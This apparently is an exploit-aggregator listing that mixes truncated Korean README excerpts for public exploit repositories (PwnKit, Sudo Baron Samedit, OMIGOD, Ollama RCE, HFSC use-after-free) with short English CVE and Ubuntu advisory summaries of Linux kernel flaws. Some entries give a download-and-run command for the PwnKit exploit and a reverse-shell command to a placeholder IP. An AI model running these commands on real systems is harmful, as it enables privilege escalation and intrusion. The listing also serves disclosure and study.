Exploiting-PwnKit-CVE-2021-4034-

PwnKit CVE-2021-4034를 위한 자체 포함 익스플로잇 - Pkexec 로컬 권한 상승 사용법 Ubuntu, Debian, Fedora, CentOS 기반의 취약한 Linux 배포판에서 즉시 작동해야 합니다. sh -c "$curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh" 수동 실행 curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit chmod +x...

CVE-2026-93071

A flaw was found in the Linux kernel's bcm2835-unicam media driver. This vulnerability involves a memory leak where an allocated asynchronous node context asc is not properly released during error handling or module removal. Over time, this can lead to resource exhaustion and potentially result i...

CVE-2026-93195

A flaw was found in the Linux kernel's DisplayPort dw-dp bridge driver. The DisplayPort AUX channel was initialized but never properly unregistered. This could lead to resource leaks and a use-after-free vulnerability, potentially resulting in system instability or denial of service...

CVE-2026-92488

A flaw was found in the Linux kernel's RDMA/erdma component. When certain hardware object destroy commands fail, the system does not fully release the associated software-owned resources. This incomplete teardown results in the leaking of critical system resources, such as queue buffers and...

CVE-2026-93101

A flaw was found in the Linux kernel's v4l2-async module. A local user, by disconnecting a specific USB device that uses the i2c tvp5150 driver, could trigger a system crash. This denial of service DoS vulnerability arises from an issue in how the sub-device is unregistered when its asynchronous...

CVE-2026-93111

A flaw was found in the Linux kernel's Berkeley Packet Filter BPF tracing mechanism. This vulnerability occurs when tracingmulti links are not properly managed, specifically when they fail to release resources after being attached alongside fentry links. This improper resource handling can lead t...

USN-8871-1: Linux kernel (Raspberry Pi) vulnerabilities

It was discovered that some Arm processors could complete a broadcast translation lookaside buffer TLB invalidation before memory writes made through the invalidated translation were globally observed. A local attacker could possibly use this to write to memory after permission to do so had been...

USN-8871-1 linux-raspi vulnerabilities

It was discovered that some Arm processors could complete a broadcast translation lookaside buffer TLB invalidation before memory writes made through the invalidated translation were globally observed. A local attacker could possibly use this to write to memory after permission to do so had been...

CVE-2026-98092

A flaw was found in the Linux kernel's Advanced Linux Sound Architecture ALSA AMD audio driver. This vulnerability can lead to a Denial of Service DoS due to a memory leak when closing audio capture streams. A local user could exploit this flaw by repeatedly opening and closing the affected audio...

USN-8851-3: Linux kernel (Azure) vulnerabilities

Several security issues were discovered in the Linux kernel. An attacker could possibly use these to compromise the system. This update corrects flaws in the following subsystems: - Network file system NFS server daemon; - IPv6 networking; - Netfilter; CVE-2025-38724, CVE-2026-53131, CVE-2026-532...

USN-8851-3 linux-azure-5.4 vulnerabilities

Several security issues were discovered in the Linux kernel. An attacker could possibly use these to compromise the system. This update corrects flaws in the following subsystems: - Network file system NFS server daemon; - IPv6 networking; - Netfilter; CVE-2025-38724, CVE-2026-53131, CVE-2026-532...

CVE-2017-16994

/ disablemapminadd.c / / / include include include include include include include / 오프셋은 다를 수 있으며, 커널은 사용자 정의 컴파일되었습니다. 테스트 시 vmlinux를 읽고 오프셋을 계산할 수 있습니다. / / define OFFSETKERNELBASE 0x000000 / define MMAPMINADDR 0x1101de8 define DACMMAPMINADDR 0xe8e810 / /proc/kallsyms를 읽어 커널 함수 주소를 가져옵니다 /...

CVE-2021-38647

CVE-2021-38647 CVE-2021-38647 - Azure UNIX/Linux VM에서 인증되지 않은 RCE OMIGOD를 악용하는 POC! 세부 정보 Microsoft Azure에서 OMI 애플리케이션은 Azure Automation Accounts, Update Management, Log Analytics, Configuration Management 등과 같은 서비스가 UNIX/Linux VM에 사용될 때 자동으로 설치됩니다. 또한 Configuration Management 서비스를 사용하여 원격으로 시스템을...

CVE-2019-5489

CVE 2019-5489 이 저장소에는 Linux용 Page Cache Side Channel AttacksCVE-2019-5489 개념 증명PoC 코드가 포함되어 있습니다. 페이지 캐시 부채널을 평가하기 위해, 두 프로세스 간에 은닉 채널covert channel을 구현했습니다. 송신 프로세스는 페이지 캐시 부채널을 통해 수신 프로세스로 기밀 데이터를 보냅니다. 페이지 캐시 공격은 Linux 커널 5.0부터 완화되었으므로, 이 PoC는 Linux 커널 5.0 이전에서만 동작합니다. 참고: Ubuntu 18.04, Linux...

CVE-2021-3156

CVE-2021-3156 Sudo Baron Samedit 이 저장소는 Linux x64를 대상으로 하는 CVE-2021-3156 익스플로잇입니다. 상세 내용은 https://datafarm-cybersecurity.medium.com/exploit-writeup-for-cve-2021-3156-sudo-baron-samedit-7a9a4282cb31 에서 확인하세요. 크레딧: Qualys의 Braon Samedit 원본 권고. 파일들 tcache가 있는 glibc용 익스플로잇 exploitnss.py 모든 요구 사항과...

CVE-2017-16995

취약점 설명 Ubuntu는 데스크톱 애플리케이션 중심의 오픈소스 GNU/Linux 운영체제로, Debian GNU/Linux 기반입니다. 최근 화이트햇 해커가 Ubuntu 최신 버전Ubuntu 16.04에 로컬 권한 상승 취약점이 존재한다고 공개했습니다. 취약점 번호는 CVE-2017-16995입니다. 이 취약점은 eBPF bpf2를 호출하는 Linux 커널 시스템에 존재하며, 사용자가 악성 BPF 프로그램을 제공하여 eBPF 검증기 모듈에 계산 오류를 발생시키면 임의 메모리 읽기/쓰기 문제가 발생합니다. 낮은 권한의 사용자가...

CVE-2021-4034

CVE-2021-4034 Polkit PoC Polkit이란 무엇인가? Policy Toolkit또는 Polkit은 2009년 출시 이후로 루트 권한이 없는 공격자가 Polkit 패키지가 설치된 모든 Linux 시스템에서 쉽게 관리자 접근 권한을 얻을 수 있게 합니다. 불행히도혹은 다행히도? 대부분의 Linux 배포판에 기본적으로 설치되어 있어 이 취약점이 널리 퍼지게 되었습니다. 다행히도혹은 불행히도 이 취약점은 원격으로 악용될 수 없어 로컬 권한 상승LPE 취약점입니다. 하지만 Polkit이란 무엇인가? Polkit는 대부...

CVE-2024-37032_CVE-2024-45436

CVE-2024-37032 & CVE-2024-45436 Ollama RCE CVE-2024-37032 CVE-2024-45436 Linux에서 실행해야 하며, 환경에 gcc가 필요합니다. golang을 설치하고 다음 명령을 실행하여 리버스 셸을 획득하십시오. go run main.go -target http://127.0.0.1:11434/ -exec "bash -i & /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0&1" 참고: 익스플로잇에는 몇 분이 걸릴 수 있으니 인내심을 가지고 기다려 주시기 바랍니다...

CVE-2025-38001

CVE-2025-38001 RBTree 가족 드라마 Linux HFSC Eltree Use-After-Free - Debian 12 PoC 이 PoC는 RBTree 변환을 기반으로 한 페이지 수준의 데이터 전용 공격을 사용하여 시스템을 손상시킵니다. 이 익스플로잇은 모든 kernelCTF 인스턴스LTS 6.6.90, COS 109, COS 105 및 Debian 12에서 이식 가능하며 작동합니다. Ubuntu LTS에서는 Kmalloc Random Caches로 인해 약간의 수정만 필요합니다. 취약점 분석 및 익스플로잇 개발:...

CVE-2019-10149

CVE-2019-10149 - Exim 4.87 Local/Makefile cp eximmonitor/EDITME Local/eximon.conf exim 사용자 및 그룹 생성 sudo groupadd -g 31 exim sudo useradd -d /dev/null -c "Exim Daemon" -g exim -s /bin/false -u 31 exim 의존성 설치 sudo apt-get update sudo apt-get install -y make build-essential libpcre3-dev libdb-dev...